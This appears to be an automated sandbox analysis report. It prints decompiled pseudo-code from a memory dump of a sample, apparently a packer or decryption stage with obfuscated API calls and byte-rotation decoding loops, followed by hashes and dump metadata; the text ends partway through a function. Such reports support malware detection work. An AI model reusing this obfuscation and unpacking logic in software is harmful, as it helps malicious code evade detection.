C-Code - Quality: 61%

			E026A4859(signed int __ebx, signed int __ecx, void* __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* __ebp;
				signed int _t217;
				signed int _t219;
				void* _t220;
				signed int _t221;
				signed int _t225;
				signed int _t230;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t245;
				signed int _t248;
				signed int _t253;
				signed int _t261;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t272;
				signed int _t274;
				int _t276;
				void* _t278;
				int _t279;
				void* _t310;
				signed int _t312;
				void* _t316;
				signed int _t323;
				signed int _t328;
				signed int _t330;
				void* _t333;
				signed int _t334;
				void* _t339;
				void* _t344;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				void* _t365;
				void* _t366;
				void* _t368;
				void* _t369;
				void* _t374;
				signed int _t376;
				signed int* _t384;

				_t359 = __esi;
				_t328 = __edi;
				_t310 = __edx;
				_t258 = __ecx;
				_t242 = __ebx;
				if( *(__ebx + 0x41819b) == 0) {
					_t241 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_push(__ecx);
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) & 0x00000000;
					 *(__ebx + 0x41819b) =  *(__ebx + 0x41819b) ^ (__ecx -  *_t384 | _t241);
					_pop(_t258);
				}
				 *_t384 =  *_t384 & 0x00000000;
				 *_t384 =  *_t384 + _t359;
				_v20 = _v20 & 0x00000000;
				 *_t384 =  *_t384 + _t242 + 0x418657;
				_t217 =  *((intOrPtr*)(_t242 + 0x45d018))(_v20, _t258);
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) & 0x00000000;
				 *(_t242 + 0x418247) =  *(_t242 + 0x418247) | _t258 & 0x00000000 ^ _t217;
				_t261 = _t258;
				_push(_v12);
				 *_t384 = _t328;
				if( *(_t242 + 0x4183d8) == 0) {
					_t240 =  *((intOrPtr*)(_t242 + 0x45d01c))();
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) & 0x00000000;
					 *(_t242 + 0x4183d8) =  *(_t242 + 0x4183d8) | _t328 & 0x00000000 ^ _t240;
					_t328 = _t328;
				}
				_t361 = _t359 & 0x00000000 | _t242 & 0x00000000 ^ _a4;
				_t245 = _t242;
				if( *(_t245 + 0x4184bb) == 0) {
					_t310 =  *_t384;
					 *_t384 =  *(_t245 + 0x4180d3);
					_v40 =  *((intOrPtr*)(_t245 + 0x418328));
					_t374 = _t374;
					_v44 = _t310;
					_t239 =  *((intOrPtr*)(_t245 + 0x45d040))(_v20, _t310, _t310);
					_v48 = _t261;
					 *(_t245 + 0x4184bb) = 0 ^ _t239;
					_t261 = 0;
				}
				_t330 = _t328 & 0x00000000 | _t245 & 0x00000000 ^ _a8;
				_t248 = _t245;
				_v20 = 0;
				 *_t384 =  *_t384 ^ _t248 + 0x0041830b;
				_t219 =  *((intOrPtr*)(_t248 + 0x45d018))(_v20);
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) & 0x00000000;
				 *(_t248 + 0x418167) =  *(_t248 + 0x418167) ^ _t261 ^ _v40 ^ _t219;
				_t264 = _t261;
				_push(_t219);
				_v40 =  *((intOrPtr*)(_t361 + 8));
				_t376 = _t374;
				if( *(_t248 + 0x4184bf) == 0) {
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))();
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) & 0x00000000;
					 *(_t248 + 0x4184bf) =  *(_t248 + 0x4184bf) ^ (_t330 ^ _v44 | _t219);
					_t330 = _t330;
				}
				_push(_v20);
				_v44 = _t330;
				if( *((intOrPtr*)(_t248 + 0x4180c7)) == 0) {
					_v48 =  *((intOrPtr*)(_t248 + 0x418207));
					_v20 = _v20 & 0x00000000;
					_v52 = _v52 + _t330;
					_v16 = _v16 & 0x00000000;
					_v56 = _v56 | _t219;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d03c))(_v16, _v20, _t264);
					 *_t60 = _t219;
					_push(_v20);
					_pop( *_t62);
				}
				 *_t64 =  *((intOrPtr*)(_t248 + 0x41823f));
				_push(_v12);
				_pop(_t265);
				if( *(_t248 + 0x418287) == 0) {
					_v16 = 0;
					_v48 = _v48 ^ _t265;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) & 0x00000000;
					 *(_t248 + 0x418287) =  *(_t248 + 0x418287) | _t265 & 0x00000000 | _t219;
					_t265 = _t265;
				}
				_t266 = _t265 + 0xfffffff0;
				_t333 = _t330;
				if( *(_t248 + 0x4182ef) == 0) {
					_v48 = _t266;
					_t219 =  *((intOrPtr*)(_t248 + 0x45d01c))(_v16);
					_v52 = _t376;
					 *(_t248 + 0x4182ef) = _t219;
					_t376 = 0;
					_pop(_t266);
				}
				_v20 = 0;
				_push(_v20);
				_v48 = _v48 | _t266;
				if( *(_t248 + 0x4184e7) == 0) {
					_v16 = 0;
					_v52 = _v52 | _t266;
					_v56 =  *((intOrPtr*)(_t248 + 0x418283));
					_v12 = 0;
					_v60 = _v60 ^ _t248;
					_v64 =  *((intOrPtr*)(_t248 + 0x41828f));
					_t238 =  *((intOrPtr*)(_t248 + 0x45d03c))(_t310, _v12, _t219, _v16);
					_v16 = _t266;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) & 0x00000000;
					 *(_t248 + 0x4184e7) =  *(_t248 + 0x4184e7) ^ _t266 & 0x00000000 ^ _t238;
					_t266 = _t333;
				}
				do {
					asm("movsb");
					_t266 = _t266 - 1;
				} while (_t266 != 0);
				_pop(_t267);
				_pop(_t334);
				 *_t96 = _t334;
				_push(_v16);
				_pop(_t363);
				_v16 = 0;
				_push(_v16);
				_v44 = _v44 ^ _t248;
				do {
					_t220 =  *_t363 & 0x000000ff;
					_t363 = _t363 + 1;
					if(_t220 == 0) {
						goto L23;
					}
					_push(_t220);
					_v48 = _v48 - _t220;
					_v48 = _v48 ^ _t267;
					_push(_t248);
					_v52 = 1;
					_v12 = 0;
					_t310 = _t310 & 0x00000000 | 0 ^ _t363;
					_v8 = 8;
					do {
						asm("rol eax, cl");
						_t248 = _t220;
						_t220 = _t310;
						asm("ror ebx, cl");
						_t103 =  &_v8;
						 *_t103 = _v8 - 1;
					} while ( *_t103 != 0);
					_pop(_t267);
					_t220 = _t220 & 0x00000000 ^ _t334 ^ _v48 ^ _t248;
					_t334 = _t334;
					L23:
					asm("stosb");
					_t267 = _t267 - 1;
				} while (_t267 != 0);
				_pop(_t253);
				if( *(_t253 + 0x41854e) == 0) {
					_t220 =  *((intOrPtr*)(_t253 + 0x45d024))();
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) & 0x00000000;
					 *(_t253 + 0x41854e) =  *(_t253 + 0x41854e) ^ (_t267 ^ _v44 | _t220);
					_t267 = _t267;
				}
				if(_a4 != 0) {
					if( *((intOrPtr*)(_t253 + 0x4182e7)) == 0) {
						_v44 = _v44 + 8;
						_v44 = _v44 - _t363;
						_v48 =  *((intOrPtr*)(_t253 + 0x41835d));
						_t267 = _t267;
						_t334 = _v52;
						_v52 =  *((intOrPtr*)(_t253 + 0x41807b));
						_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t334, _t220, _t363);
						 *_t118 = _t220;
						_push(_v16);
						_pop( *_t120);
					}
					if(_a8 != 0) {
						if( *(_t253 + 0x4185b7) == 0) {
							_t363 = _v44;
							_v44 =  *((intOrPtr*)(_t253 + 0x41804b));
							_v48 =  *((intOrPtr*)(_t253 + 0x418067));
							_t310 = _t310;
							_v52 =  *((intOrPtr*)(_t253 + 0x4181c3));
							_t376 = _t376;
							_t220 =  *((intOrPtr*)(_t253 + 0x45d040))(_t220, _t334, _t363);
							_v12 = _t267;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) & 0x00000000;
							 *(_t253 + 0x4185b7) =  *(_t253 + 0x4185b7) ^ _t267 & 0x00000000 ^ _t220;
							_t267 = _v12;
						}
						_v44 = _a4;
						_t323 = _t310;
						_t138 = _t253 + 0x4183a9; // 0x4183a9
						_v48 = _t138;
						_push( *((intOrPtr*)(_t253 + 0x45d018))(_v16, _t220));
						_pop( *_t141);
						_push(_v20);
						_pop( *_t143);
						_push(_t253);
						_v52 = _a8;
						_t253 = _t253;
						if( *(_t253 + 0x4185ab) == 0) {
							_v56 =  *((intOrPtr*)(_t253 + 0x4183b4));
							_t363 = _t363;
							_v60 =  *((intOrPtr*)(_t253 + 0x418613));
							_t267 = _t267;
							_v64 = _v64 & 0x00000000;
							_v64 = _v64 ^ _t323;
							_t234 =  *((intOrPtr*)(_t253 + 0x45d03c))(_t334, _t334, _t334);
							 *_t384 = _t323;
							 *(_t253 + 0x4185ab) = 0 ^ _t234;
							_t323 = 0;
						}
						_t220 = E026A1918(_t234, _t267, _t323, _t334, _t363);
						if( *((intOrPtr*)(_t253 + 0x4184db)) == 0) {
							_v48 = _v48 - _t253;
							_v48 = _v48 ^ _t323;
							_v52 =  *((intOrPtr*)(_t253 + 0x418389));
							_v56 = _v56 - _t363;
							_v56 = _v56 ^ _t323;
							_t267 = _v60;
							_v60 =  *((intOrPtr*)(_t253 + 0x41852b));
							_t220 =  *((intOrPtr*)(_t253 + 0x45d044))(_v52, _t363, _t267, _t253);
							 *_t159 = _t220;
							_push(_v20);
							_pop( *_t161);
						}
					}
				}
				_pop(_t312);
				if( *(_t253 + 0x418318) == 0) {
					_v12 = 0;
					_v40 = _v40 | _t312;
					_v44 =  *((intOrPtr*)(_t253 + 0x418483));
					_t334 = _v48;
					_v48 =  *((intOrPtr*)(_t253 + 0x4181f3));
					_v52 = _v52 ^ _t253;
					_v52 = _t363;
					_v56 =  *((intOrPtr*)(_t253 + 0x41815b));
					_t376 = _t376;
					_v60 =  *(_t253 + 0x4183a1);
					_t267 = _t267;
					_t220 =  *((intOrPtr*)(_t253 + 0x45d048))(_t267, _t267, _t253, _t334, _t220, _v12);
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) & 0x00000000;
					 *(_t253 + 0x418318) =  *(_t253 + 0x418318) | _t312 & 0x00000000 ^ _t220;
					_t312 = _t312;
				}
				if(_t312 > 0) {
					if( *(_t253 + 0x4181af) == 0) {
						_v40 = _v40 + 0x400;
						_v40 = _v40 - _t253;
						_v44 =  *((intOrPtr*)(_t253 + 0x418478));
						_v48 =  *((intOrPtr*)(_t253 + 0x41811b));
						_v52 =  *((intOrPtr*)(_t253 + 0x418143));
						_v56 = _v56 & 0x00000000;
						_v56 = _v56 ^ _t253;
						_t230 =  *((intOrPtr*)(_t253 + 0x45d048))(_t220, _t363, _t267, _t376, _t312, _t253);
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) & 0x00000000;
						 *(_t253 + 0x4181af) =  *(_t253 + 0x4181af) | _t312 & 0x00000000 ^ _t230;
						_t312 = _t312;
					}
					_v16 = _t253;
					_t339 = _t334 & 0x00000000 | _t253 & 0x00000000 | _a4;
					_push(_v12);
					_v40 = _t339;
					_push(0);
					_v44 = _t312;
					_v44 = 0 ^  *(_t339 + 4);
					_t221 =  *(_t339 + 8);
					_t272 = 0;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v44 = _v44 | _t272;
					_v16 = _v16 & 0x00000000;
					_push(_v16);
					_v48 = _v48 ^ _t272;
					 *_t202 = _t221;
					_push(_v12);
					_pop(_t316);
					_push(_a8);
					_pop( *_t205);
					_push(_v12);
					_pop(_t365);
					_push(_v48);
					_v52 = _v52 - _t316;
					_pop(_t274);
					_t366 = _t365 + _t274;
					_v16 = _t221;
					_t276 = _t274 & 0x00000000 | _t221 ^ _v16 ^  *(_t339 + 8);
					_t225 = memcpy(_t339, _t366, _t276);
					_v12 = _t225;
					_t368 = _t366 & 0x00000000 ^ (_t225 ^ _v12 | _a8);
					_pop(_t278);
					_push(_t366 + _t276 + _t276);
					_t279 = _t278 - _t316;
					_pop(_t344);
					memcpy(_t344, _t368, _t279);
					_push(0);
					_pop(_t369);
					_t220 = memcpy(_t368 + _t279 + _t279 & 0x00000000 ^ 0x0 ^ _v48 ^ _a8, _t369, 0);
				}
				return _t220;
			}

0x026a4859
0x026a4859
0x026a4859
0x026a4859
0x026a4859
0x026a4866
0x026a4868
0x026a486e
0x026a4874
0x026a487b
0x026a4881
0x026a4881
0x026a4883
0x026a4887
0x026a4890
0x026a4897
0x026a489a
0x026a48a6
0x026a48ad
0x026a48b3
0x026a48b4
0x026a48b7
0x026a48c1
0x026a48c3
0x026a48cf
0x026a48d6
0x026a48dc
0x026a48dc
0x026a48e7
0x026a48e9
0x026a48f1
0x026a48fa
0x026a48fa
0x026a4905
0x026a4909
0x026a490d
0x026a4910
0x026a4918
0x026a491f
0x026a4925
0x026a4925
0x026a4930
0x026a4932
0x026a4939
0x026a4943
0x026a4946
0x026a4952
0x026a4959
0x026a495f
0x026a4960
0x026a4965
0x026a4969
0x026a4971
0x026a4973
0x026a497f
0x026a4986
0x026a498c
0x026a498c
0x026a498d
0x026a4990
0x026a499a
0x026a49a3
0x026a49a6
0x026a49ad
0x026a49b0
0x026a49b7
0x026a49ba
0x026a49c1
0x026a49c4
0x026a49c7
0x026a49c7
0x026a49d3
0x026a49d6
0x026a49d9
0x026a49e1
0x026a49e3
0x026a49ed
0x026a49f0
0x026a49fc
0x026a4a03
0x026a4a0a
0x026a4a0a
0x026a4a14
0x026a4a16
0x026a4a1e
0x026a4a23
0x026a4a26
0x026a4a2e
0x026a4a35
0x026a4a3b
0x026a4a3c
0x026a4a3c
0x026a4a3d
0x026a4a44
0x026a4a47
0x026a4a51
0x026a4a53
0x026a4a5d
0x026a4a67
0x026a4a6a
0x026a4a74
0x026a4a7f
0x026a4a84
0x026a4a8a
0x026a4a92
0x026a4a99
0x026a4aa2
0x026a4aa2
0x026a4aa5
0x026a4aa5
0x026a4aa6
0x026a4aa6
0x026a4aa9
0x026a4aaa
0x026a4aac
0x026a4aaf
0x026a4ab2
0x026a4ab3
0x026a4aba
0x026a4abd
0x026a4ac0
0x026a4ac0
0x026a4ac3
0x026a4ac6
0x00000000
0x00000000
0x026a4ac8
0x026a4ac9
0x026a4acc
0x026a4acf
0x026a4ad0
0x026a4add
0x026a4ae8
0x026a4aed
0x026a4af4
0x026a4af4
0x026a4af6
0x026a4af8
0x026a4afa
0x026a4afc
0x026a4afc
0x026a4afc
0x026a4b01
0x026a4b0b
0x026a4b0d
0x026a4b0e
0x026a4b0e
0x026a4b0f
0x026a4b0f
0x026a4b12
0x026a4b1a
0x026a4b1c
0x026a4b28
0x026a4b2f
0x026a4b35
0x026a4b35
0x026a4b3a
0x026a4b47
0x026a4b4a
0x026a4b4e
0x026a4b59
0x026a4b5d
0x026a4b65
0x026a4b65
0x026a4b68
0x026a4b6f
0x026a4b72
0x026a4b75
0x026a4b75
0x026a4b7f
0x026a4b8c
0x026a4b95
0x026a4b95
0x026a4ba0
0x026a4ba4
0x026a4bad
0x026a4bb1
0x026a4bb2
0x026a4bb8
0x026a4bc0
0x026a4bc7
0x026a4bcd
0x026a4bcd
0x026a4bd5
0x026a4bd9
0x026a4bda
0x026a4be3
0x026a4bec
0x026a4bed
0x026a4bf0
0x026a4bf3
0x026a4bf9
0x026a4bfe
0x026a4c02
0x026a4c0a
0x026a4c14
0x026a4c18
0x026a4c21
0x026a4c25
0x026a4c27
0x026a4c2b
0x026a4c2e
0x026a4c36
0x026a4c3d
0x026a4c43
0x026a4c43
0x026a4c44
0x026a4c50
0x026a4c53
0x026a4c56
0x026a4c60
0x026a4c64
0x026a4c67
0x026a4c71
0x026a4c71
0x026a4c74
0x026a4c7b
0x026a4c7e
0x026a4c81
0x026a4c81
0x026a4c50
0x026a4b7f
0x026a4c87
0x026a4c8f
0x026a4c91
0x026a4c9b
0x026a4ca5
0x026a4caf
0x026a4caf
0x026a4cb3
0x026a4cb6
0x026a4cc1
0x026a4cc5
0x026a4cce
0x026a4cd2
0x026a4cd3
0x026a4cdf
0x026a4ce6
0x026a4ced
0x026a4ced
0x026a4cf1
0x026a4cfe
0x026a4d01
0x026a4d08
0x026a4d13
0x026a4d1f
0x026a4d29
0x026a4d2d
0x026a4d31
0x026a4d34
0x026a4d40
0x026a4d47
0x026a4d4d
0x026a4d4d
0x026a4d4e
0x026a4d5a
0x026a4d5f
0x026a4d62
0x026a4d65
0x026a4d67
0x026a4d74
0x026a4d7c
0x026a4d7e
0x026a4d7f
0x026a4d83
0x026a4d86
0x026a4d89
0x026a4d8d
0x026a4d90
0x026a4d94
0x026a4d97
0x026a4d9a
0x026a4d9b
0x026a4d9e
0x026a4da1
0x026a4da4
0x026a4da8
0x026a4da9
0x026a4dac
0x026a4dad
0x026a4daf
0x026a4dbb
0x026a4dc0
0x026a4dc2
0x026a4dce
0x026a4dd3
0x026a4dd4
0x026a4dd9
0x026a4ddb
0x026a4ddc
0x026a4dde
0x026a4dec
0x026a4ded
0x026a4ded
0x026a4df2

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction ID: 8a27af658c31f4900b313c923bc2d7e9bcf4ed96abf67281bc5ab671b1f92500
Opcode Fuzzy Hash: f89cbf176f5ded8dd9f870f15b95a5ce55e929d63621d25e61daa38bc8d58fc1
Instruction Fuzzy Hash: C8128F72904604EFFB149F60C8857AEBBF5FF84725F0984ADEC899A185DB781550CF28

Uniqueness

Uniqueness Score: -1.00%

Function 026A1918, Relevance: .5, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E026A1918(signed int __eax, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _t259;
				signed int _t261;
				signed int _t262;
				signed int _t266;
				signed int _t267;
				signed int _t270;
				void* _t272;
				signed int _t275;
				signed int _t279;
				signed int _t283;
				signed int _t285;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				void* _t294;
				signed int _t297;
				signed int _t299;
				signed int _t300;
				void* _t303;
				void* _t305;
				signed int _t306;
				signed int _t308;
				int _t310;
				void* _t313;
				signed int _t319;
				signed int _t324;
				signed int _t332;
				void* _t340;
				signed int _t342;
				signed int _t344;
				signed int _t347;
				signed int _t352;
				signed int _t361;
				signed int _t363;
				void* _t366;
				void* _t380;
				signed int _t385;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed int _t401;
				void* _t416;
				signed int _t417;
				void* _t429;
				signed int _t431;
				void* _t432;
				signed int* _t435;

				_t306 = __ecx;
				_t259 = __eax;
				_push(_t300);
				 *_t431 =  *_t431 ^ _t300;
				 *_t431 =  *_t431 + _t416;
				_t417 = _t431;
				_t432 = _t431 + 0xffffffdc;
				_push(_v40);
				_v44 = _t300;
				_push(__edx);
				_t361 = __edi & 0x00000000 | __edx ^ _v48 | _a8;
				_pop(_t340);
				_v48 =  *((intOrPtr*)(_t361 + 0xc));
				_pop(_t385);
				 *_t5 = _t300;
				_t342 = _v48;
				_v48 =  *((intOrPtr*)(_t361 + 4));
				 *_t8 = _t340;
				if(_v24 == 1) {
					_v20 = 7;
					_v28 = 1;
					_v16 = 8;
				}
				if(_v24 != 0) {
					if(_v24 != 2) {
						if(_v24 == 4) {
							_v20 = 1;
							_v28 = 0x55;
							_v16 = 2;
						}
					} else {
						_v20 = 3;
						_v28 = 0x11;
						_v16 = 4;
					}
					_push(_t342);
					_v48 = _v48 ^ _t342;
					_v36 = _t385;
					_t261 = _t259 & 0x00000000 | _t385 & 0x00000000 ^ _v8;
					_t262 = _t261 / _v16;
					_t344 = _t261 % _v16;
					_push(_v8);
					_v48 = _v48 - _t344;
					_pop( *_t132);
					_v48 = _v36;
					_v12 = _t344;
					_t391 = 0;
					_v40 = _t344;
					_t393 = _t391 & 0x00000000 ^ (_t344 & 0x00000000 | _a4);
					_t347 = _v40;
					_push(_t347);
					_t363 = _t361 & 0x00000000 ^ (_t347 & 0x00000000 | _t393);
					_t394 = _t393 - 1;
					_v32 = 0;
					_push(_v32);
					_v48 = _v48 + _t300;
					do {
						_v40 = _t300;
						_t308 = _t306 & 0x00000000 ^ (_t300 & 0x00000000 | _t363);
						_t300 = _v40;
						_t306 = _t308 & _v20;
						if(_t306 == 0) {
							_t394 = _t394 + 1;
							_v32 = _t363;
							_t262 = _t262 & 0x00000000 ^ (_t363 & 0x00000000 | _v16);
							_t363 = _v32;
							_t300 =  *(_t262 + _t394) & 0x000000ff;
						}
						_v52 = _t394;
						_t394 = 0;
						asm("rol edx, cl");
						_t352 = (0 ^ _v28) & _t300;
						asm("lodsb");
						_t262 = _t262 | _t352;
						 *_t363 = _t262;
						_t363 = _t363 + 1;
						_t147 =  &_v8;
						 *_t147 = _v8 - 1;
					} while ( *_t147 != 0);
					_pop(_t303);
					if( *(_t303 + 0x4182ab) == 0) {
						_v48 =  *((intOrPtr*)(_t303 + 0x4181ff));
						_t319 = _t306;
						_v52 =  *((intOrPtr*)(_t303 + 0x41843c));
						_t352 = _t352;
						_v56 =  *((intOrPtr*)(_t303 + 0x418293));
						_t262 =  *((intOrPtr*)(_t303 + 0x45d040))(_t262, _t417, _t352);
						_v32 = _t319;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) & 0x00000000;
						 *(_t303 + 0x4182ab) =  *(_t303 + 0x4182ab) ^ _t319 & 0x00000000 ^ _t262;
						_t306 = _v32;
					}
					if( *(_t303 + 0x4183d4) == 0) {
						if( *(_t303 + 0x418037) == 0) {
							_v48 =  *((intOrPtr*)(_t303 + 0x41816f));
							_v52 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 | _t352;
							_v60 =  *((intOrPtr*)(_t303 + 0x41859f));
							_t352 = _t352;
							_v64 =  *((intOrPtr*)(_t303 + 0x41808b));
							_t394 = _t394;
							_t279 =  *((intOrPtr*)(_t303 + 0x45d048))(_t306, _t352, _t303, _v36, _t262);
							_v40 = _t306;
							 *(_t303 + 0x418037) = 0 ^ _t279;
							_t306 = _v40;
						}
						_t262 =  *((intOrPtr*)(_t303 + 0x45d01c))();
						if( *((intOrPtr*)(_t303 + 0x4181f7)) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 | _t262;
							_v52 =  *((intOrPtr*)(_t303 + 0x418438));
							_t394 = _t394;
							_v56 = _v56 & 0x00000000;
							_v56 = _v56 ^ _t363;
							_v36 = 0;
							_v60 = _v60 + _t432;
							_push( *((intOrPtr*)(_t303 + 0x45d040))(_v36, _t352, _t262, _v32));
							_pop( *_t186);
							_push(_v36);
							_pop( *_t188);
							_pop(_t262);
						}
						_v48 = _t417;
						 *(_t303 + 0x4183d4) = 0 ^ _t262;
						_t417 = 0;
						if( *(_t303 + 0x418450) == 0) {
							_t352 = _v48;
							_v48 =  *((intOrPtr*)(_t303 + 0x418567));
							_v52 =  *((intOrPtr*)(_t303 + 0x4183bc));
							_v56 =  *((intOrPtr*)(_t303 + 0x4180bb));
							_t417 = _v60;
							_v60 =  *((intOrPtr*)(_t303 + 0x418513));
							_t262 =  *((intOrPtr*)(_t303 + 0x45d044))(_v52, _t394, _t417, _t352);
							_v36 = _v56;
							 *(_t303 + 0x418450) = 0 ^ _t262;
							_t394 = _v36;
						}
					}
					_t310 = _t306 & 0x00000000 ^ _t363 & 0x00000000 ^ _v12;
					_t366 = _t363;
					if( *(_t303 + 0x41803b) == 0) {
						_v36 = 0;
						_v48 = _v48 | _t310;
						_t401 = _v52;
						_v52 =  *((intOrPtr*)(_t303 + 0x418057));
						_t352 = _v56;
						_v56 =  *((intOrPtr*)(_t303 + 0x418028));
						_v60 =  *((intOrPtr*)(_t303 + 0x4183e8));
						_t272 = _t262;
						_v64 =  *((intOrPtr*)(_t303 + 0x4185ef));
						_t275 =  *((intOrPtr*)(_t303 + 0x45d044))(_t417, _t352, _t394, _v36);
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) & 0x00000000;
						 *(_t303 + 0x41803b) =  *(_t303 + 0x41803b) ^ _t401 & 0x00000000 ^ _t275;
						_t394 = _t401;
						_t310 = _t272;
					}
					if( *(_t303 + 0x41849f) == 0) {
						if( *(_t303 + 0x41861f) == 0) {
							_v48 = _t310;
							_t270 =  *((intOrPtr*)(_t303 + 0x45d01c))(_v36);
							_v36 = _t366;
							 *(_t303 + 0x41861f) = 0 ^ _t270;
							_t366 = _v36;
							_pop(_t310);
						}
						_v40 = _v40 & 0x00000000;
						_v48 = _v48 + _t310;
						_t230 = _t303 + 0x418533; // 0x418533
						_v52 = _v52 ^ _t417;
						_v52 = _v52 ^ _t230;
						_t266 =  *((intOrPtr*)(_t303 + 0x45d018))(_t417, _v40);
						_v36 = _t366;
						 *(_t303 + 0x4185cf) = 0 ^ _t266;
						_t366 = _v36;
						_push(_t352);
						_v56 =  *((intOrPtr*)(_t303 + 0x418243));
						_t313 = _t310;
						if( *((intOrPtr*)(_t303 + 0x41862b)) == 0) {
							_v60 =  *((intOrPtr*)(_t303 + 0x418414));
							_v64 =  *((intOrPtr*)(_t303 + 0x4183cc));
							_t417 = _t417;
							_push( *((intOrPtr*)(_t303 + 0x45d03c))(_t432, _t266, _t313, _t366));
							_pop( *_t243);
							_push(_v36);
							_pop( *_t245);
						}
						_push(_t352);
						_v60 =  *((intOrPtr*)(_t303 + 0x41814b));
						if( *((intOrPtr*)(_t303 + 0x41851b)) == 0) {
							 *_t250 =  *((intOrPtr*)(_t303 + 0x45d024))();
							_push(_v32);
							_pop( *_t252);
						}
						_t417 = _v64;
						_v64 =  *((intOrPtr*)(_t303 + 0x4182a7));
						_t267 =  *((intOrPtr*)(_t303 + 0x45d040))();
						_v36 = _t394;
						 *(_t303 + 0x41849f) = 0 ^ _t267;
						_t394 = _v36;
						_t310 = _t417;
					}
					return memcpy(_t366, _t394 + 1, _t310);
				} else {
					_pop(_t305);
					if( *(_t305 + 0x418627) == 0) {
						_v44 =  *((intOrPtr*)(_t305 + 0x4182e3));
						_t299 = _t259;
						_v48 =  *((intOrPtr*)(_t305 + 0x4184b3));
						_t429 = _t417;
						_v52 =  *((intOrPtr*)(_t305 + 0x41802f));
						_t417 = _t429;
						_v32 = 0;
						_v56 = _v56 ^ _t299;
						_v60 =  *((intOrPtr*)(_t305 + 0x418470));
						_t380 = _t361;
						_t259 =  *((intOrPtr*)(_t305 + 0x45d048))(_t361, _v32, _t306, _t417, _t342);
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) & 0x00000000;
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) ^ (_t380 - _v64 | _t259);
						_t361 = _t380;
					}
					if( *(_t305 + 0x418077) == 0) {
						if( *(_t305 + 0x418517) == 0) {
							_v44 =  *((intOrPtr*)(_t305 + 0x4182ff));
							_t294 = _t259;
							_v48 =  *((intOrPtr*)(_t305 + 0x41810b));
							_t417 = _t417;
							_v52 =  *((intOrPtr*)(_t305 + 0x418217));
							_t361 = _v56;
							_v56 =  *(_t305 + 0x418173);
							_v60 =  *(_t305 + 0x418546);
							_t385 = _t385;
							_t297 =  *((intOrPtr*)(_t305 + 0x45d048))(_v52, _t361, _t294, _t385, _t306);
							_v32 = _t306;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) & 0x00000000;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) ^ (_t306 & 0x00000000 | _t297);
							_t306 = _v32;
						}
						_t288 =  *((intOrPtr*)(_t305 + 0x45d020))();
						_v44 = _v44 & 0x00000000;
						_v44 = _v44 ^ _t288;
						_v36 = _v36 & 0x00000000;
						_v48 = _v48 + _t305 + 0x4185c7;
						_t290 =  *((intOrPtr*)(_t305 + 0x45d018))(_v36, _t305);
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) & 0x00000000;
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) ^ (_t306 & 0x00000000 | _t290);
						_t332 = _t306;
						_pop(_t291);
						_v40 = _t332;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) & 0x00000000;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) | _t332 - _v40 ^ _t291;
						_t306 = _v40;
						if( *(_t305 + 0x418400) == 0) {
							_t292 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) & 0x00000000;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) | _t385 & 0x00000000 | _t292;
							_t385 = _v36;
						}
					}
					_t435 = _t417;
					 *_t435 =  *_t435 - _t342;
					 *_t435 =  *_t435 | _t305 + 0x0041804f;
					_t283 =  *((intOrPtr*)(_t305 + 0x45d018))(_t342);
					_v36 = _t361;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) & 0x00000000;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) ^ _t361 & 0x00000000 ^ _t283;
